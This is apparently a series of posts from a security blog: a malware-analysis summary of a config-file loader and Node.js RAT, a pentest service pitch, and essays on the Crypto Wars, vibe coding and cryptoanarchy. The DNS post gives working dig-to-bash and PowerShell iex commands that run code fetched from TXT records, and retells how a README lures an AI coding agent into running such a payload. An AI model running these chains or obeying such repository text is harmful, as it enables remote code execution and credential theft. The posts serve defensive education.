→ obfuscated loader appended to the Vite and PostCSS config
→ npm run dev
→ Ethereum JSON-RPC query
→ C2 address decoded from the recipient of a transaction
→ GET /boot and /0/boot
→ two obfuscated stages through node -e
→ GET /init
→ Node.js RAT version 260804
→ injection into VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm
→ Socket.IO command channel on unencrypted port 443
→ clipboard, shell, eval, recursive directory upload
→ exfiltration to /u/f

Limitations

I unpacked the main payload statically, meaning without executing its operational part. The commands, persistence and exfiltration format described here are read out of its own code, not observed at runtime. I do not have the /0/body branch, because the C2 stopped responding. The _Z persistence body remains heavily obfuscated, although its role and injection mechanism are proven from the main payload. The victim contained no real data, wallets or credentials. GitHub account names, commit metadata, the LinkedIn name and everything the attacker claimed about himself may be fabricated or stolen.

The post I ran malware on purpose. It found its server address in the blockchain appeared first on DIGITAL SELF-DEFENSE.

A customer logs in to a new portal and opens their invoice.

They notice the document number in the page address and try changing it.

The application displays another customer’s invoice.

They did not crack a password. They did not bypass the login. They did not use any special tool.

They changed one number.

The login still works. Invoices load correctly. The application passed its standard tests.

The application verified that the user was logged in. It did not verify whether that user was allowed to view this particular document.

The feature worked.

Just not securely.

It passed acceptance testing

During application handover, the expected workflow is usually tested.

A user logs in, completes a form, submits an order or downloads a document. An administrator updates a record. The data is saved and the necessary information is passed to the next system or person.

This type of testing answers an important question:

Does the application do what we ordered?

It does not automatically answer another one:

What does the application allow when someone uses it differently from the expected workflow?

Can a regular user open someone else’s document? Can they access a function intended for an administrator? Can they see information that does not belong to them? Can they skip part of the process?

A security issue does not have to cause the application to crash or display an error.

Quite the opposite. The application may process the request without any problem.

Just for the wrong user or with someone else’s data.

Are you accepting or launching a web application?

Send a brief description of the application, its user types and the planned handover date. I will tell you whether it fits the Web Application Security Review or needs a Custom Penetration Test.

Send a brief description of the application

When development speeds up

AI tools can significantly speed up web application development.

They can help create login flows, administration interfaces, forms, file uploads, exports and integrations with other systems. A working version can appear very quickly.

That is not a problem by itself.

The problem starts when development speed is mistaken for verification of the result.

Every new feature introduces decisions the application must make correctly:

• Who is allowed to open this page?
• Who owns this document?
• Who is allowed to modify the record?
• What can a regular user do, and what is restricted to an administrator?
• Which data is the application allowed to display?

AI can create the feature. Someone still needs to verify who can use it and what it allows them to access.

The same applies to conventional development. With applications built or significantly accelerated using AI, however, it is easy to skip the security review because the working result looks finished very early.

A different perspective

A security finding does not automatically mean the vendor or developer did a poor job.

The development team must deliver the agreed features, connect the individual components, fix bugs and ensure that the application works as a whole.

Security should be part of good development. An independent review still serves a different purpose.

A developer may ask:

Can the customer view their invoice?

A security review adds a second question:

Can they also view someone else’s invoice?

It does not test only the expected workflow. It also checks modified identifiers, bypassed roles, access to other users’ data and other situations that may not be covered by standard acceptance testing.

Development testing and an independent security review are not competing activities.

They answer different questions.

While there is still time

The best time for an independent review is before final acceptance, launch or final payment for the project.

The vendor still has the application in context. The development team is available. Documentation and the test environment are close at hand.

Problems can be addressed while the cooperation is still active, rather than after customers are already using the application and the original team has moved on to another project.

The company also receives a practical basis for deciding:

• what needs to be fixed before launch;
• which issues have the greatest practical impact;
• what can be addressed later;
• whether a limited security review is enough;
• or whether the project needs a broader penetration test.

A review can also be useful for an application that is already running. Handover is nevertheless a natural point at which the company accepts responsibility for the system, its users and its data.

It is better to know what you are actually accepting.

Not a stamp of approval

The purpose of a security review is not to certify that an application is secure once and for all.

No honest test can provide such a guarantee. Every assessment takes place at a particular time and within a predefined scope.

The result should not be an unexplained automated list of technical abbreviations either.

The client needs to know:

• what was found;
• what practical impact the issue may have;
• how serious it is;
• how the developer can verify it;
• what should be fixed first.

The deliverable should be a prioritised report with specific remediation recommendations.

Not a general warning. A practical basis for remediation and further decisions.

Security review or penetration test?

For one smaller web application, a Web Application Security Review may be the appropriate option.

It has a predefined scope and focuses on the most important parts of the application: login, user roles, permissions, main workflows, handling of non-public data, forms, file uploads and APIs.

The deliverable includes a prioritised report, remediation recommendations and a final consultation.

The price is CZK 35,000 for a predefined scope.

For a larger or more sensitive application, a Custom Penetration Test is usually a better fit. This typically includes systems with more user roles, multiple environments, a larger API, more integrations or specific risk scenarios.

A custom penetration test also has a clearly agreed scope. It is defined individually according to the application, the objective of the test and the required depth.

The price is determined after a short scoping process.

Before you sign off

A successful handover confirms that the application does what was ordered.

It does not automatically confirm who can use its features to access particular accounts, documents and data.

AI can significantly accelerate development. It cannot replace an independent review of the result.

Before final acceptance, it therefore makes sense to ask one more question:

Has anyone tried using the application differently from the documented workflow?

Send a brief description of the application, its user types, environments and planned handover date.

Based on the scope, I will recommend either a Web Application Security Review or a Custom Penetration Test. If neither option is appropriate for the project, I will tell you.

Send a brief description of the application

The post The Application Works. Is That Enough? appeared first on DIGITAL SELF-DEFENSE.

One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.

And if a DNS record can contain ordinary text, it can also contain a command.

For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.

The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.

Demo

You can try this technique without using any malicious payload.

The following example does not download anything, does not connect anywhere and only creates a file called ds.txt with a simple ASCII cat:

 /_/
( o.o )
 > ^ <
DNS TXT says meow.

The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.

Linux and macOS

For Linux and macOS, the DNS TXT record can look like this:

txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="

1. Show the script

This command reads the DNS TXT record, decodes it and prints the script:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d

Output:

cat > ds.txt <<'EOF'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
EOF
cat ds.txt

2. Run the demo

This command does the same thing, but passes the decoded content directly to bash:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

The mechanism is simple:

DNS TXT → Base64 → decoding → bash

In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.

The problem is not DNS itself. The problem is mainly this part:

... | bash

It says: “Take text that came from the outside and run it as a program.”

Windows / PowerShell

On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:

txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"

1. Show the script

This command reads the DNS TXT record, decodes it and prints the PowerShell script:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))

Output:

$art = @'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt

2. Run the demo

This command does the same thing, but executes the decoded content directly:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

iex is short for Invoke-Expression. In other words: it takes text and runs it as PowerShell code.

The mechanism is the same as with the shell:

DNS TXT → Base64 → decoding → PowerShell

A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.

What 0DIN Showed

Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.

The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:

pip3 install -r requirements.txt
python3 -m axiom init

At first glance, these are just two ordinary commands: install dependencies and initialize the project.

The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:

1. a repository that looks trustworthy,
2. an initialization routine that looks like a normal part of the setup,
3. a setup script that loads the actual payload from a DNS TXT record and executes it.

The command:

python3 -m axiom init

runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.

An error message such as:

Axiom not initialised. Run: python3 -m axiom init

acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.

So there are two paths to the same result.

The agent can follow the README:

pip install → init → DNS TXT → payload execution

Or it can skip the README, hit an error and then “fix” it:

pip install → error → suggested init → DNS TXT → payload execution

In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.

That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.

Why This Matters for AI Agents

A human may at least pause when seeing a command like:

dig ... | base64 -d | bash

and ask: wait, why am I running something from DNS?

AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.

That is exactly their strength. And also their weakness.

The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:

• leaking API tokens,
• leaking SSH keys,
• accessing private repositories,
• reading configuration files,
• accessing cloud credentials,
• running additional code,
• opening a reverse shell.

In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.

Will Antivirus or a Firewall Stop It?

I would not rely on that.

A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.

Antivirus may also miss it if it only sees normal tools: Python, shell, dig, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.

That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as base64 | bash and Invoke-Expression can help.

It is just not a good idea to rely on them as the only protection.

How to Defend Against It

The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.

In practice, that means:

• Do not blindly run setup scripts from unknown projects.
• Do not treat an AI agent’s recommendation as a security review.
• Be careful with constructs such as curl | bash, wget | bash, dig | bash, base64 -d | bash, bash -c "$something" or PowerShell Invoke-Expression.
• Check not only the command being executed, but also what it loads at runtime.
• Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.
• Do not give AI agents unnecessarily broad permissions.
• Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.
• Limit outbound traffic from development environments where it makes sense.
• Disable or heavily restrict automatic approval of shell commands in AI coding agents.
• Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.

A good control question is:

Can I actually see all the code that will run?

If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.

At that point, it is no longer “just setup”.

It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.

Summary

DNS TXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.

The problem appears when these things are combined:

trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem

So it is worth repeating an old rule in a new form:

Do not copy random commands from the internet into your terminal.
And do not let your AI agent do it either.

Sources

• Mozilla 0DIN: Clone This Repo and I Own Your Machine
• RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes
• RFC 1035: Domain Names – Implementation and Specification
• Microsoft Learn: Resolve-DnsName
• Microsoft Learn: about_PowerShell_exe

The post Code Hidden in DNS: When an AI Agent Opens the Door appeared first on DIGITAL SELF-DEFENSE.

In 1977, the American NBS, today’s NIST, standardized DES as a federal standard for protecting data in non-military federal computer systems. DES later spread into the private sector as well. The standard used a 56-bit variable part of the key, which was already shorter, and therefore weaker, than many people considered ideal even at the time.

And because the NSA was involved in the selection and shaping of the standard, it was not exactly paranoid to suspect that the short key length had been chosen deliberately, so that government agencies would still have a realistic chance of breaking the cipher and getting to the data of citizens and companies.

Diffie and Hellman argued as early as 1977 that a special-purpose machine costing around 20 million dollars could find a DES key in roughly a day – something that would have been realistic for an agency like the NSA. For comparison, today a DES key search using an RTX 3070-class graphics card would take roughly around 100 days on average.

This is where the question first appeared very clearly:

Should civilian encryption be strong even against the state, or only against ordinary attackers?

In October 1977, IEEE held the International Symposium on Information Theory at Cornell University, where Martin Hellman, Stephen Pohlig, Ralph Merkle and others were expected to present work on modern cryptography. Lawyer Joseph Meyer sent IEEE a letter suggesting that publishing cryptographic research could run into export-control laws, specifically ITAR – rules controlling the export of military and defense technologies, services and technical data. In plain language: export rules for weapons and defense technology. It later turned out that Meyer worked for the NSA.

IEEE did not cancel the conference. Academic cryptography refused to return to a quiet regime of pre-publication approval by the state.

It was an early attempt to scare the academic community. It was not yet a court case, but it was a signal: the state might treat cryptographic research as a controlled technology.

Space Presidential Directive NSDD-145

In the mid-1980s, the Reagan administration apparently thought it would be a good idea to centralize the security of sensitive federal information systems under a regime where the NSA had the leading role. This was Directive NSDD-145.

In practice, that meant the area of civilian computer security would come under much stronger influence from the intelligence community. Fittingly enough, this happened in 1984.

That triggered resistance from Congress, civilian institutions and parts of the private sector, because the NSA is a military and intelligence agency, not a civilian standards body.

In 1987, the Computer Security Act was passed, slowing the whole thing down. The law gave the main responsibility for the security of unclassified federal computer systems to the civilian NBS/NIST. The NSA was supposed to provide technical assistance, not become the main civilian authority.

Encryption Does Not Belong in the Hands of Ordinary People?

What If We Just Added a “Backdoor”?

On April 16, 1993, the White House announced the Clipper Chip. It was a government-backed encryption chip for secure communication, but with a key escrow mechanism – meaning that the government would have a way to access the keys after obtaining legal authorization.

This became one of the iconic symbols of the Crypto Wars. The government already understood that banning encryption outright would be difficult. But still: if people were going to encrypt, then the state wanted built-in access.

Clipper was supposed to encrypt communication, but at the same time attach a special packet for law enforcement to every encrypted conversation. That packet was called LEAF. LEAF was supposed to contain information that would allow the government, after obtaining proper authorization, to recover the encryption key and read the communication.

The very next year, Matt Blaze showed that the Clipper system could be made to send an invalid LEAF. The result? Two users could communicate normally with encryption, their devices would accept the communication, but law enforcement would not be able to recover the correct key from the LEAF.

That made Clipper much less useful as a tool for controlled wiretapping.

And it showed something important: a “safe government backdoor” is not only a legal question. It is also a fragile technical mechanism.

Putting “backdoors” into encryption is simply a bad idea, even though the idea keeps coming back with iron regularity. Either the backdoor can fail, or eventually it can be found and used by someone it was never meant for.

The First Shots

In 1991, Phil Zimmermann released PGP – encryption software that an ordinary user could use to protect their messages and files. It was encryption that was not realistic to break with ordinary means. Zimmermann gave the public free access to something that had previously belonged mostly to government agencies, the military, academics and specialized companies.

But remember: ITAR still existed. The export rules for weapons and defense technology still applied. And according to the authorities, cryptography was a weapon.

So in 1993, Phil Zimmermann became the target of a federal investigation over suspicion that PGP had been exported illegally – in other words, that he had exported “weapons”. The investigation dragged on until 1996, when it was closed without charges.

And in 1997, the PGP source code was printed as books – more precisely, twelve books – and sent to Europe, where it was converted back into electronic form. That was legal.

How?

Because in the meantime, things had been happening.

This T-Shirt Is a Weapon!

If cypherpunks and crypto-anarchists are good at anything, apart from encryption, security, privacy and other minor details, it is trolling the authorities.

Encryption is a weapon? Hold my beer.

In 1995, Adam Back created a minimalist implementation of RSA in Perl. It was so short that it could be printed on something.

For example, on a T-shirt.

And that is exactly what Adam Back and the community around the cypherpunk mailing list did. They printed a warning on the shirt:

This shirt is classified as a munition and may not be exported from the United States, or shown to a foreign national

And of course, they printed the Perl code as well, including a barcode that could be scanned.

A Floppy Disk? Better Make It a Book

In 1994, Phil Karn asked the authorities whether he could export the book Applied Cryptography and whether he could put the source code from the book onto a floppy disk. The book was not considered controlled under ITAR, because it was a publicly available publication. Printing and exporting it was legal.

The floppy disk? That was different. It was subject to export control, because it was machine-readable cryptographic software. Without a license, it could not legally be exported or sent outside the United States.

It is one of the best examples of the absurdity of the export rules: the same code on paper was speech, or publication. On a floppy disk, it was already a defense article. Even though the book actually contained much more.

Karn was not exactly fine with that, so he sued the government. But in 1996, he lost in district court. The absurd distinction between a book and a floppy disk did not disappear because Karn won in court. It disappeared later, as the export rules were loosened.

Others also fought the government in court. Daniel J. Bernstein wanted to publish the Snuffle algorithm, its source code and related academic text. He argued that the export rules prevented him from teaching, publishing and discussing cryptography. He won in 1996, and the decision survived appeal in 1999.

And these cases helped make the legal export of PGP outside the United States possible:

In electronic form, PGP was a weapon. But printed on paper, it was free speech protected by the First Amendment of the United States Constitution.

By the way, Zimmermann’s company, PGP Inc., published a paper newsletter in 1997 called “The Zimmermann Telegram” to distribute cryptographic information by mail, because paper had stronger legal protection than electronic software. The name also referenced the original Zimmermann Telegram from the First World War – a secret German diplomatic message from 1917.

In that message, Germany offered Mexico an alliance against the United States if the US entered the war. The British intercepted and decrypted the telegram.

The End?

The situation became impossible for the authorities to maintain. The internet entered people’s homes, and the “export” of software became essentially impossible to regulate.

On September 16, 1999, the Clinton administration announced a major liberalization of encryption export rules. After a technical review, products with any key length could be exported to most individuals, companies and non-government users outside sanctioned or high-risk countries. This was the practical beginning of the end of the first phase of the Crypto Wars in their “export control” form.

On January 14, 2000, new Commerce Department rules took effect. The Federal Register published changes that significantly loosened the export and re-export of encryption software. For publicly available source code, notification was enough, and the rules explicitly addressed publication on the internet.

That was the practical turning point: strong cryptography could finally become a normal part of the internet, browsers, e-mail and commercial software.

Consequences

It might seem that the whole Crypto Wars story was just an episode involving a few lawsuits and a few clever stunts. But the consequences were much more serious.

For example, Netscape Navigator, the first widely used web browser, had a stronger American version, while the international version had to use weaker encryption, typically 40-bit.

The export version of Lotus Notes had 64-bit encryption, but 24 bits of the key were encrypted for the NSA. The result was that an ordinary attacker had to deal with 64 bits, while the NSA effectively had to deal with only 40 bits. IBM/Lotus received permission to export a stronger product in exchange for a mechanism that created a privileged attacker.

Debian historically had to keep cryptographic packages on servers outside the United States, because exporting cryptographic code from the US was a problem.

SSL support for Apache was for a long time handled outside the main Apache project and outside the United States, because exporting mod_ssl/OpenSSL from the US was legally problematic.

Java had restricted cryptographic policy for years, and “unlimited strength” crypto had to be installed separately. Oracle enabled unlimited crypto by default only in JDK 8u161, in 2018.

Because of export limits, special “step-up” SSL certificates were created, allowing some websites to upgrade weak 40/56-bit encryption to 128-bit encryption.

And the consequences lasted for a long time. Weak export-grade modes in TLS/SSL survived in implementations, and many years later they led to real attacks. FREAK abused export RSA. Logjam abused export Diffie-Hellman. DROWN abused weaknesses in SSLv2 and export-grade crypto.

The technical debt outlived the politics by 15 to 20 years.

The Four Horsemen of the Infocalypse

Timothy C. May called them the “Four Horsemen of the Infocalypse”: terrorists, pedophiles, drug dealers and financial criminals. His point was not that these threats do not exist. His point was that they are used again and again as universal arguments for restricting encryption, anonymity and privacy.

Today, US rules mostly no longer block the export of strong cryptography the way they did in the 1990s. But the footprint of the Crypto Wars has not disappeared completely: some public cryptographic source code still involves a notification regime, and commercial products with cryptography may still fall under export classification.

But this is not just an American story.

Politicians are especially good at repeating the mistakes of their predecessors while insisting that:

“This Time It Will Be Different, I Promise”

The first Crypto Wars did not end because states made peace with strong encryption. Only the language changed.

After 2000, politicians mostly stopped talking about banning cryptography or exporting “munitions”. Instead, they started talking about “lawful access”, “technical capability”, “traceability” or “client-side scanning”.

In practice, this often meant the same thing: creating a path for the state to get to the content of communication, even when users believe that communication is private and protected by end-to-end encryption.

We saw it in the American fight between the FBI and Apple after the San Bernardino attack, in the United Kingdom’s secret technical orders under the Investigatory Powers Act, in Australia’s Assistance and Access Act, in India’s demand to identify the originator of messages, in Russia’s pressure on Telegram and in the European debate around Chat Control.

The arguments?

Terrorism, organized crime, child protection, national security.

The post Crypto Wars – Can a Government Ban Mathematics? appeared first on DIGITAL SELF-DEFENSE.

AI is taking control of our development, security, and data!
And it is taking programmers’ jobs.

AI has not taken anything from us. It cannot. It does not have that power. But even if it did, it would not have to. We handed over control of development, security, and data ourselves. Because it is convenient, fast, and often works surprisingly well.

The problem is not when the code does not work. We notice that immediately, and we can fix it. The problem is when the code somehow works, but behind the scenes it does something we would not like it to do. In security, the fact that something somehow works is not enough.
We should know how it works, and when something changes, what changed and where.

A new actor

We often talk about AI as a tool. Similar to a text editor, a search engine, or “autocomplete”.
But AI is not just an ordinary tool.
AI:

• reads the assignment
• interprets the intent
• suggests architecture
• writes code
• modifies configuration
• recommends libraries
• explains errors
• and often even runs commands

So in the security model, this is no longer a passive hammer. It is another actor taking part in decisions – the threat model has expanded.
When I hold a hammer in my hand as a tool, I decide how hard to hit, what to hit, and whether to hit anything at all.

AI is a hammer that makes all those decisions itself, based only on our instructions (prompts). And we have to remember that we are still the ones carrying the responsibility.
I can give the hammer a task: "Hammer in the nails!".
The AI hammer “sees” a nail. It evaluates: "Hm, a nail, I will hammer it in. And it is a big one, so I will use more force.".
And then you watch the AI hammer smashing into a hook in the wall. A hook in a plasterboard wall. A hook with your car keys hanging on it.

AI made a mistake. We have a problem.

We delegated not only development to AI, but also control. And quite often, only the illusion of control. In chat, AI tells us that everything is secure. But is it really?
When AI generates code that allows attackers to get hold of our users’ data, the reputational problem is ours, not the AI agent’s. It is hard to respond to a data leak by pointing at an AI agent and saying, “It was his fault!”
Our now very possibly former customer usually does not care how the application was created. You offer it, you may even charge money for it, so it is your responsibility to make sure user data stays where it belongs.

The journey is no longer the destination

Vibe coding has made it possible to create applications even for people who have never programmed before. The problem is not that someone does not know the exact syntax of a particular programming language. That is only a small part of programming.
Other important parts of development include algorithmic thinking, connecting individual components, handling memory, working with data, and more. Before vibe coding tools arrived, people often “programmed” by copying pieces of code from sites like StackOverflow. It was not ideal, but the author at least had some idea how, for example, application login worked, because they knew they had to create (or copy) code for running a database, a login form on the web, and also server-side code that compared the data from the form, or stored it in the database. So the author of the application may not have remembered the exact command for storing a password in the database, but at least they knew what path the password took into the database, and whether it was stored safely. Today? We enter: “Create login for my application.” Enter. And moments later, we have login.

New feature – new door

So we have login. But is the password stored securely in the database, or is it readable in plain text? What happens if I put something unexpected into the login form, for example a piece of code? Will I be able to read all the data from your database? Or change some parameter and log in as another user without knowing their password?

Maybe we pay extra attention to login, because we somehow sense that handling credentials is a critical part of the application.

But what about other features that look harmless at first glance?

“Add file upload.” Sounds like a normal feature. But suddenly you have to deal with:

• Who can see the file?
• Where is it stored?
• Can it be downloaded without logging in?
• Can someone upload something unexpected?
• Does the file remain there after the account is deleted?

Upload is not just “save file”. It is a new warehouse for other people’s data.

“Add link sharing.”

Sounds like a simple, convenient feature.

• Who can open the link?
• Can the link be guessed?
• Can it be revoked later?
• Does it show more data than it should?
• Can some crawler index it somewhere?

A sharing link is basically a second login. Just without a password.

Another one?

“Add export to PDF.”

• Sounds harmless, because the user is only downloading their own data.
• What exactly ends up inside the PDF?
• Are there metadata?
• Is the PDF temporarily stored somewhere?
• Can someone download another person’s export?
• Do exports remain on the server?

Export often creates a second copy of the data. And that second copy may no longer have the same protection as the original.

You could probably come up with examples like this for most features in your application. And are you sure your AI is thinking about them?

Or will it simply build the new feature quickly and easily, just to make you happy?

AI does not invent new bugs. It produces old ones faster.

With vibe coding, we are usually not dealing with completely new types of bugs. These are things we have known for a long time: a user sees someone else’s data, a file is accessible without authentication, sensitive data ends up readable in the database, the application forgets to check who has access to what, or a library nobody understands gets added to the project.
What is new is mainly the speed. In the past, a person would write such a bug manually in one part of the application. Today, AI can add login, upload, export, sharing, and an API within minutes – and the same type of bug can appear in several places at once.

AI is not a new kind of bug. AI is an accelerator for old bugs.

An almost real-life fuck-up

I am not a programmer. I have programmed a few small things in my life, but I have never done it seriously over the long term. And it showed. My creations “somehow” worked, but mostly for my own personal use. I probably could not charge money for them.

With the arrival of AI tools, I decided to “rewrite” one of my older projects into something generally usable. And because that meant handling user data, I wanted it to be designed so that not even I, as the server operator, would be able to read users’ data.

So one of the basic requirements was not just “put some encryption in there somehow”. It was a specific requirement for end-to-end encryption. Because it is not only that I am not interested in users’ data. I do not want to have it in readable form even in case the server is breached, which is a risk carried by everyone who handles user data, whether it is a small one-person project or a large international corporation. It can happen. And it does happen.

Development went quite well. AI was coding like crazy, and everything more or less worked as expected.

Later, I added export to an internet calendar. A practical feature, a fairly normal requirement. AI implemented the feature. It worked.

After some time, I wanted to know whether everything in the database was really encrypted. The application data was encrypted. But next to that data, there was a table with data for the internet calendar export. In readable form. The same data that was “next to it” safely encrypted.

Calendar export cannot really be end-to-end encrypted. My requirement, because of my own lack of knowledge, went against one of the basic rules.

AI implemented the feature and completed the task. But it somehow forgot to tell me that by doing so, it had violated one of the basic rules.

It is like putting a high-quality lock on the door, and then, for convenience, building a second door next to it without a lock. The first lock still exists. It just no longer protects the entire path.
The encryption was not broken. It was bypassed. Not by a hacker. By the developer.

My advantage is that I deal with security. So not only do I know how to check it, but more importantly, I know what I should check. And that I should check it at all. So I was able to deal with it and disabled automatic calendar export.

But if I had not done that, I would be promising my customers something that was not true. And sooner or later, someone would probably notice. And I would really rather avoid that

Don’t vibe. Verify.

I do not want to say we should not vibe code. I do it too. AI is great for quick prototypes, refactoring, looking for solutions, generating parts of code, or explaining problems. The problem is not vibe coding. The problem is when only the vibe remains – when I accept the result because it looks good, but I do not verify what has changed.

In crypto, we know the phrase “Don’t trust, verify.” It does not mean “never trust anyone, never use anything.” It means: trust is not control.

And exactly the same applies to AI. Don’t vibe. Verify does not mean “do not use AI”. It means: do not accept the result just because it feels right. Verify the promises, the data, the permissions, and the new doors you have just created.

Everyone knows that debugging is twice as hard as writing a program in the first place. So if you’re as clever as you can be when you write it, how will you ever debug it?

* Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2

The post Promptpunk I. – Don’t vibe. Verify. appeared first on DIGITAL SELF-DEFENSE.

For a democracy, anarcho-communism, anarcho-capitalism or monarchy to be able work, force is needed to sustain such a system. Either a sufficient number of people who come together or a very strong (either economically or socially) individual or group. A sufficiently strong individual can control a democratic society regardless of the opinion of the majority (e.g. for the Czechoslovak Communist Party it was enough to gain “just” 31.2% of the votes in the 1946 elections to control the whole of Czechoslovakia for 40 years). Similarly, the concept of anarcho-capitalism is unsustainable unless it is possible to enforce the so-called Non-Aggression Principle. The Communists will not force the surrender of private property on a sufficiently strong entity.

Cryptoanarchists usually do not try to change society. Their goal is a level of privacy and security that ensures a sufficient degree of freedom. And the very degree of sufficient freedom is individual.

Thus, cryptoanarchy is a set of tools and techniques that help maintain a level of privacy and security that is achievable or targeted for individuals or communities. The basic tool of cryptoanarchy is information encryption. The use of such techniques that make it impossible for the person from whom to hide information not only to obtain the information, but also to learn about the existence of such information. It does not matter whether it’s communication, electronic data or a financial transaction. These tools do not necessarily have to be highly sophisticated or require powerful computer technology. Do you want to advise a classmate sitting next to you with a difficult exercise in an exam so that the teacher does not know, or do you want to tell your partner something very private, but you are surrounded by other people? You use a very simple technique – you whisper it to her/him.

This set of techniques and tools is not and probably will never be definitive. You can’t write a cryptoanarchy bible that would last forever. As society and technology evolve, so does cryptoanarchy. The need for privacy was different (perhaps none) in the early common society, different in ancient Rome, different today in the era of digital revolution, and different in the future (for example, when staying in spaceships or colonizing other space objects). Technologies that seek to detect encrypted information are also being developed. Encryption techniques that were considered secure twenty years ago are mostly unusable today, and can be broken in minutes. Asking when the cryptoanarchy will be “done” is similar to asking when the Internet will be done.

In addition, cryptoanarchy can disrupt any social system. It eliminates state and private courts, police and the army. If you do not know the perpetrator, you cannot try and/or remove him (close or kill) for breaking the law or the NAP (Non-Aggression Principle). Cryptoanarchy does not address the issue of a free or regulated market. The free market is actually an integral part of it. You can’t regulate something that the regulator doesn’t know about and can’t punish someone he doesn’t know.

Social systems are based on rights and obligations. The only natural duties are those that are instinctive. For example, the mother’s natural duty to take care of her offspring. And even that is not enforceable outside the social system. Everything else, both duties and rights, is an artificial construct that is enforced by the social system.

The only “right” that applies universally is the right of the stronger. Both in nature (living and non-living) and in society.

Why are we obliged to pay taxes, comply with court rulings and share our private data with rulers? Stronger so decided. In this case, the stronger is a sufficient number of people (which does not necessarily mean the majority) who are able to enforce these obligations under the threat of violence. This is not only true for human communities, examples can also be found in nature. Why is the ant queen (who is actually a slave) obliged to spend her whole life conceiving new generations in a small space deep in the anthill? Because if she resisted this obligation, the ant society would punish her. Such a queen would have a shorter life than the promises of politicians after the election.

There is no natural right to life. It was invented by human society and agreed (either voluntarily or involuntarily) to enforce it. As well as the right to personal property or a “dignified life”. In the wild, the antelope does not wield in front of the lion by the charter of fundamental rights and animal freedoms. It knows she has to run, it has not better option.

Cryptoanarchy is a tool by which an individual can avoid pressure from society to abide by the rules and/or respect the rights of others. Motives for this can be “good” or “bad” (but the evaluation is always individual). For a person who is used to following the rules set by someone else, this may sound like dangerous behavior, but it is again just an individual assessment. Often we can evaluate such unconditional compliance with the rules over time. Large sections of the (not only) German population found the so-called Nuremberg Laws in order and it was normal to abide by them. And today it seems incomprehensible to us. In the same decade, we can also look at, for example, current market regulations, the criminalization of drug users or the crime of treason.

This does not mean that the cryptoanarchist does not follow any rules and breaks all laws. Many factors play a role here, such as the question of one’s own security, morality or, for example, economic profit. And while it may not seem so at first glance, most people are not interested in harming. Why in the store, when the salesman isn’t looking, most (!) of us just don’t stick a bottle off the shelf into a bag? It is not because of fear of the law (and punishment). It’s because we have a kind of moral code encoded in us. Turning someone’s property just doesn’t work out for us, whether or not there’s a law.

